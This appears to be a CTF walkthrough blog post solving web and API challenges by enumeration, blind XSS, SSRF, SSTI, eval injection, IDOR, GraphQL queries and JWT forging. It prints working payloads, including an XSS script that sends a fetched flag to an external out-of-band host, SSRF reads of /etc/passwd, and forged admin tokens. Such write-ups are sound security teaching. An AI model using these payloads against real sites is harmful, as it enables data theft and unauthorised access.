Info
Warm up
Points: 10
join our Discord server to get the flag: https://discord.gg/KwzXbEmA
Looking at the description of the #ctf-discussions
channel, we see there is weird text.
++++++++++[>+++++++>+++++++>++++++++>++++++++>+++++++++>+++++++>+++++++>++++++++++++>++++++++++++>+++++++>+++++++++++>+++++++>+++++++++++>++++++++>++++++++++>++++++++++>+++++++>+++++++++++>+++++++>++++++++++>++++++++++>+++++++++>+++++>++++++++++++>++++++++++>+++++>+++++++++++>+++++++>++++++++++>+++++++>+++++>+++++++++++>+++++++>+++++++++++++<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>++.>--.>++.>-.>-----.>+.>-.>+++.>-.>-.>--.>---.>+.>---.>+.>-----.>+.>--.>-----.>.>-----.>-.>--.>---.>-----.>++.>++++.>-.>-----.>++.>+.>++++.>-.>-----.
This is known as BrainF*ck
. We can decode this by going to the dcode website and retrieve the flag.
Flag: HDROUGE{wElCoMe_GlAd_Y0u_4rE_H3rE}
Looking for something?
Points: 20
One of our team member kept something public, you can check it out on our Instagram Page: https://www.instagram.com/hackersdaddy/
Looking at the Instagram, we can click on the first post and observe the flag in the post description.
Flag: HDROUGE{InStA_G3t_ThE_Fl4g_HeRe}
Web
APP1 - Flag 1
Points: 50
Seems like there’s no vulnerability, sometime our activity also can be a vulnerability can you confirm? https://ctfapp1.vulnnet.com/
Looking at the application, we can see there are a few buttons and navigation bar.
Looking at the footer, there is a Newsletter subscribe button.
Turn on Burp Suite proxy and submit the Newsletter form. Looking at the /subscribe
endpoint, we can see there is a flag.
Flag: HDROUGE{Act1ve_Inf0_4nd_Vuln3r4b1l1ty}
APP1 - Flag 2
Points: 50
i was in a dark place i don’t have any identity can you find me? https://ctfapp1.vulnnet.com/
Looking through the application, there was a /send_email
endpoint which is part of the Contact form, this was a rabbit hole. The true trick was looking and enumerating the application.
During the CTF, I started to bruteforce the directories, and one that appeared was /secret/
.
While that is the flag, you’ll need to modify the flag to be HDROGUE{}
. However, after speaking with the organizer, this wasn’t supposed to be accessible to the user. The actual method was to do recursive enumeration on the directories until you find the final hidden directory which will retrieve the flag.
/vbscripts/updates-topic/typolight/cardinalauth
Flag: HDROUGE{3num3r4t10n_1s_k3y}
Glassx1
Points: 50
Can you uncover me? https://glassx.vulnnet.com/
Looking at the application, we see there is a registration page.
After registering the user, we can log in and see it’s an XSS arena.
We know that we need to perform an XSS on this application, however, we need to figure out where the flag is first. Looking at robots.txt
, we retrieve the first flag.
Flag: HDROGUE{0b5cur3d_1n_r0b0ts}
Glassx2
Points: 200
Your team has intercepted a mysterious service running under the codename GlassX. It exposes a minimal web portal, but behind its sleek “glassmorphic” UI hides a fragile backend. https://glassx.vulnnet.com/
Going back to the challenge, we know that there is a /flag
endpoint. However, we need to administrator on the backend to execute the payload so we can retrieve the flag. This is known as a Blind XSS attack.
Using the below script, we can input it into the Write something...
section of the Post
form.
<script>
fetch('/flag')
.then(r => r.text())
.then(flag => {
new Image().src = 'https://<OOB URL>/?flag=' + encodeURIComponent(flag);
});
</script>
In the video of this challenge, I walk through how you can do this with InteractSH.
POST /post HTTP/1.1
Host: glassx.vulnnet.com
Cookie: session=eyJpc19hZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoidGVzdGluZyJ9.aNhmyA.PW4htRj89Sr5Gl8vgY8KSUJ-XfA
Content-Length: 1079
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://glassx.vulnnet.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://glassx.vulnnet.com/post
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
title=%3Cscript%3E+fetch%28%27%2Fflag%27%29+++.then%28r+%3D%3E+r.text%28%29%29+++.then%28flag+%3D%3E+%7B+++++new+Image%28%29.src+%3D+%27https%3A%2F%2Feosf5rko2cxo5tk.m.pipedream.net%2F%3Fflag%3D%27+%2B+encodeURIComponent%28flag%29%3B++++%7D%29%3B+%3C%2Fscript%3E&emoji=%3Cscript%3E+fetch%28%27%2Fflag%27%29+++.then%28r+%3D%3E+r.text%28%29%29+++.then%28flag+%3D%3E+%7B+++++new+Image%28%29.src+%3D+%27https%3A%2F%2Feosf5rko2cxo5tk.m.pipedream.net%2F%3Fflag%3D%27+%2B+encodeURIComponent%28flag%29%3B++++%7D%29%3B+%3C%2Fscript%3E&mood=%3Cscript%3E+fetch%28%27%2Fflag%27%29+++.then%28r+%3D%3E+r.text%28%29%29+++.then%28flag+%3D%3E+%7B+++++new+Image%28%29.src+%3D+%27https%3A%2F%2Feosf5rko2cxo5tk.m.pipedream.net%2F%3Fflag%3D%27+%2B+encodeURIComponent%28flag%29%3B++++%7D%29%3B+%3C%2Fscript%3E&body=%3Cscript%3E%0D%0Afetch%28%27%2Fflag%27%29%0D%0A++.then%28r+%3D%3E+r.text%28%29%29%0D%0A++.then%28flag+%3D%3E+%7B%0D%0A++++new+Image%28%29.src+%3D+%27https%3A%2F%2Feosf5rko2cxo5tk.m.pipedream.net%2F%3Fflag%3D%27+%2B+encodeURIComponent%28flag%29%3B+%0D%0A++%7D%29%3B%0D%0A%3C%2Fscript%3E
After waiting a few seconds, we can see in our Out-of-Band URL, that we retrieved the flag after the administrator viewed the post.
Flag: HDROGUE{cl34r_gl4ss_bl1nd3d_m3}
SkyFrame
SkyFrame runs an internal “developer fetch” endpoint used for debugging. It accepts a URL and returns what the server sees: http://54.169.182.220:8000/
Looking at the application, there’s isn’t a whole lot going on. There’s one button, but that button sends you back to the /
directory.
Looking at the page source, we can see there is a /static/app.js
. This looks to be custom, so clicking on it reveals a hint from the developer.
// public/static/app.js
// SkyFrame client-side script
// ------------------------------------------------------------------
// HINT FOR CTF PLAYERS (this file is intentionally obvious):
//
// the navbar will reveal a hidden "Whoami" menu option that leads to more clues.
//
//
// Also check the page source of the Whoami page for the hidden endpoint.
// ------------------------------------------------------------------
console.log("Welcome to SkyFrame — check app.js file for a developer hint.");
This hint tells us that there’s a hidden whoami
page on the application. Navigating to the /whoami
endpoint, it reveals another hint.
Inspecting the page source, we see there is a hidden endpoint called sUp3r_S3cRet
.
This page reveals an “Internal Fetch Tool” for developers only. Seeing the terms, fetch
and url
, we have a good chance at Server-Side Request Forgery (SSRF).
Submitting the file:///etc/passwd
payload, reveals we do have an SSRF vulnerability.
Since the application is being hosted at 54.169.182.220:8000
, we can assume the internal service is being run on port 8000. Using the payload http://127.0.0.1:8000/flag.txt
, we can reveal the flag.
POST /sUp3r_S3cRet HTTP/1.1
Host: 54.169.182.220:8000
Content-Length: 44
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://54.169.182.220:8000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://54.169.182.220:8000/sUp3r_S3cRet
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
url=http%3A%2F%2F127.0.0.1%3A8000%2Fflag.txt
Flag: HDROUGE{SkyFrAmE_SeRvErSiDe_ReQ}
Rogue Portal
Points: 250
The portal seems secure, but every fortress has its weaknesses. Find the red door and claim what’s hidden behind it: https://rougeportal.vulnnet.com/
Looking at the Rogue Portal website, we can see that there is one input field having to do with commands.
Supplying some dummy data like id
, we see that the input reflects back.
Trying a few payloads, we see that one of them ${IFS}
reveals an error message.
With this error message, we know that it is a Python backend and it is trying to find a defined variable. A variable that I always try when it comes to reflective Python web applications is globals()
. After supplying that to the application, we retrieve the flag. I believe this is an unintended way, since this could fall under Eval Injection. However, you can also perform Server-Side Template Injection (SSTI) to get this working.
Flag: HDROUGE{r3m0t3_3x3cuti0n_d0minat3d}
API
Service Hustle
Points: 300
Welcome to Service Hustle a bustling two-sided marketplace where customers post jobs and providers compete for work. The platform looks polished, but something is off. Beneath the surface of bids, jobs, and dashboards lies a vulnerability that could unravel the trust holding it all together.
Your access is limited… for now. Somewhere in this system, secrets are hidden and only by probing the application’s flows will you uncover the key to progress: https://service-hustle.vulnnet.com/
The application is a job posting and bidding website which requires the user to register and login in.
After creating an account and logging in, the user has the ability to place a bid on a job of their choosing. For this example, we selected (electrical) Knowledge catch.
Inputting a number and in the message supplying it with a Server-Side Template Injection (SSTI) such as {{7*7}}
, we see that it returns 49
, indicating that it’s an SSTI vulnerability.
With this, we can supply it, {{config.items()}}
which will retrieve all the configuration variables used on the application. After submitting the request, we can obtain the flag.
Flag: HDROUGE{SSTI_T0ken_H1jack2Flag_42af9d}
Shadows of the Nation
Points: 200
You have been authorized access to the system. But is it really yours? Look deeper. Identity overlaps in surprising ways: https://rouge-nation.vulnnet.com/
Looking at the application, we see there is a login page. Registering and logging in, we see there’s not a ton of information besides showing favorites of the user.
Looking at the page source, we see that there’s an API call to the /api/user/<ID>/favourites
endpoint.
function loadFavourites() {
fetch('/api/user/89/favourites')
.then(res => res.json())
.then(data => {
let out = "<ul>";
data.forEach(item => out += `<li>${item}</li>`);
out += "</ul>";
document.getElementById("favlist").innerHTML = out;
});
}
We can play with the API endpoint and try to access /api/user/<ID>
. In this case. When we do that, we retrieve information about other users.
curl "https://rouge-nation.vulnnet.com/api/user/89" -H "Cookie: session=eyJ1c2VyX2lkIjo4OX0.aN6nWw.HmXddAYOh42q6YAe777AqFtL_Vc"
{
"bio": "mre",
"id": 89,
"role": "user"
}
With this, we can try to access the administrator, which would most likely be the first (1) identifier.
curl "https://rouge-nation.vulnnet.com/api/user/1" -H "Cookie: session=eyJ1c2VyX2lkIjo4OX0.aN6nWw.HmXddAYOh42q6YAe777AqFtL_Vc"
{
"bio": "CTF administrator and movie buff. HDROUGE{4a525a0ec67f77ac14a1b8ab49adfe69}",
"id": 1,
"role": "admin"
}
Flag: HDROUGE{4a525a0ec67f77ac14a1b8ab49adfe69}
The Nexus
Points: 300
Welcome to VulnNet’s internal portal. A series of interconnected APIs lie behind various sections like shopping, travel, and… something darker. Your access is limited. Find your way in. Something important is hidden buried beneath layers of structured data. https://graphql.vulnnet.com/
Looking at the application, we can see that there is a login page. Logging into the application, there are numerous options. However, one of them is titled “Hacking”, and looking at the display, it says there is a /graphql
endpoint.
Sending a GET request to this endpoint results in a 405 METHOD NOT ALLOWED
error message.
curl "https://graphql.vulnnet.com/graphql" -H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoibXJlIn0.aN60mg.lm6k7W8g7-ZlHu_kgaes-DSh3q0"
<!doctype html>
<html lang=en>
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
Modify the request to be POST, and setting the Content-Type
header to application/json
. In the JSON of the request, we will through the GraphQL Introspection query at the server and see if we can retrieve the schema.
curl "https://graphql.vulnnet.com/graphql" -X POST -g --data '{"query":"query IntrospectionQuery {__schema {queryType { name kind }mutationType { name kind }subscriptionType { name kind }types {...FullType}directives {namedescriptionlocationsargs {...InputValue}}}}fragment FullType on __Type {kindnamedescriptionfields(includeDeprecated: true) {namedescriptionargs {...InputValue}type {...TypeRef}isDeprecateddeprecationReason}inputFields {...InputValue}interfaces {...TypeRef}enumValues(includeDeprecated: true) {namedescriptionisDeprecateddeprecationReason}possibleTypes {...TypeRef}}fragment InputValue on __InputValue {namedescriptiontype { ...TypeRef }defaultValue}fragment TypeRef on __Type {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindname}}}}}}}}}}"}' -H "Content-Type: application/json" -H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoibXJlIn0.aN60mg.lm6k7W8g7-ZlHu_kgaes-DSh3q0"
{
"error": "Introspection not allowed for non-admins"
}
The Introspection has been disabled. Doing CTFs for a while, you get accustom to some of the trickery that developers put into these challenges. Assuming since we had to log into the application to see the products on the web application, we could try users
as a query and see what happens.
curl "https://graphql.vulnnet.com/graphql" -X POST -g --data '{"query":"{users{id}}"}' -H "Content-Type: application/json" -H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoibXJlIn0.aN60mg.lm6k7W8g7-ZlHu_kgaes-DSh3q0"
{
"users": [
{
"id": 1
},
{
"id": 2
},
{
"id": 3
},
{
"id": 4
},
{
"id": 5
}
]
}
We see that there are 5 user’s on the application, and since we are looking for the flag, we can try to replace id
with flag
.
curl "https://graphql.vulnnet.com/graphql" -X POST -g --data '{"query":"{users{flag}}"}' -H "Content-Type: application/json" -H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoibXJlIn0.aN60mg.lm6k7W8g7-ZlHu_kgaes-DSh3q0"
{
"users": [
{
"flag": "HDROUGE{1ntr0sp3ct10n_r3v34ls_4ll}"
},
{
"flag": null
},
{
"flag": null
},
{
"flag": null
},
{
"flag": null
}
]
}
Flag: HDROUGE{1ntr0sp3ct10n_r3v34ls_4ll}
The Token
Points: 250
The portal uses tokens to identify who you are but are they trustworthy? A slight shift in what you present might take you beyond your current reach. What you hold may not be what it seems: https://jwt.vulnnet.com/
Once again, there is a login page onto this application. Looking at it, we can see that there’s information about our user and nothing else.
Looking at the page source, we see a hint which has the following values.
Key | Value |
---|---|
id | 2 |
role | admin |
exp | 9999999999 |
SECRET | superweakjwtsecret |
When logging into the application, it generated a JSON Web Token (JWT). This JWT has three properties: Header, Payload, Signature. The header tells you what algorithm is being used on the JWT. The payload is the data that is held within the JWT, mostly for authorization and authentication purposes (this section could leak sensitive information as well). Lastly, the signature is the secret that signs the JWT. However, if the user has access to the secret, they can generate their own JWT. Using a tool called JWT Auditor, we can modify our original JWT with the administrator JWT.
Original JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NDMsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzU5NDMxOTkzfQ.AKBi3V_a8MGkrCD3rwczEL4ZsgcgFnGLeS_OC7h1r9w
{
"id": 43,
"role": "user",
"exp": 1759431993
}
Modified JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ
{
"id": 2,
"role": "admin",
"exp": 9999999999
}
Using the newly generated JWT, we can modify the token
cookie on the application and send a request to the /api/user
.
curl "https://jwt.vulnnet.com/api/user" -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ"
{
"bio": "CTF administrator and movie buff.",
"id": 2,
"role": "admin",
"username": "admin2"
}
However, we can see that there is no flag in the response. We can try to identify where the flag is by trying different endpoints that could be on the server such as /api/user/2
, /api/users
, /api/2
.
After some attempts, we identify the flag located in /api/2
.
curl "https://jwt.vulnnet.com/api/2" -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ"
{
"flag": "HDROUGE{JWT_TOKEN_R0TATE_P0WN3D}"
}
Flag: HDROUGE{JWT_TOKEN_R0TATE_P0WN3D}
CineVault
Points: 400
Welcome to CineVault a sleek movie ticketing site where posters shine, seats sell out, and everything looks perfectly normal. You’re a regular customer: browse showtimes, sign in or register, pick a seat, and manage your bookings. That’s the surface nothing else is promised. If you poke around, you might find the application doesn’t behave quite the way it seems: https://cinevault.vulnnet.com/
Looking at the application, there is a register page and once logging in, the user can buy movie tickets.
This challenge held me up for quite sometime because I thought there was a potential SQL injection in the /buy
endpoint. However, after numerous attempts, it didn’t work. Looking at the Profile
section of the application, we can see two input fields: Avatar URL and Bio.
Something seemed off with this input form. Why does the placeholder say https://... or media proxy url
. This could be a hint to look at something having to do with a media proxy.
Using gobuster, or any directory bruteforcing tool, you can recursively identify /media/proxy
.
The application wants us to supply a url
parameter, which could mean SSRF. Trying a basic SSRF payload, we can confirm this is the path we need to take.
Looking through a few files, we can try /proc/self/cmdline
which shows us the file name that we need to look for.
Most CTF challenges host the python webserver in /app/app.py
. When trying that, we can obtain the flag.
Flag: HDROUGE{CineVault_L3ak_SuP3r_S3ss10N_t0K3n_ByP455_eXpLO1T_M4ST3R_FL4G_2025}
Authors

Lead Technical Writer
Evan is a dedicated cybersecurity professional with a degree from Roger Williams University. He is certified in GRTP, OSCP, eWPTX, eCPPT, and eJPT. He specializes in web application and API security. In his free time, he identifies vulnerabilities in FOSS applications and mentors aspiring cybersecurity professionals.
Recent Posts

TryHackMe PT1 Certification Review: Entry-Level Penetration Testing Exam
Full review of the TryHackMe PT1 certification. Learn about exam format, challenges, and if it’s the right entry-level penetration testing cert for you.
Sep 17, 2025

How To Bypass Command Injection And LFI Filters | Brunner CTF 2025
Brunner CTF 2025: Learn how to bypass Command Injection and LFI filters to uncover hidden data and sharpen your cybersecurity skills.
Sep 10, 2025

APISEC|CON 2024 CTF Walkthrough
A walkthrough for the APISEC|CON 2024 CTF Walkthrough. We will delve into different API vulnerabilities and how to exploit them.
May 14, 2025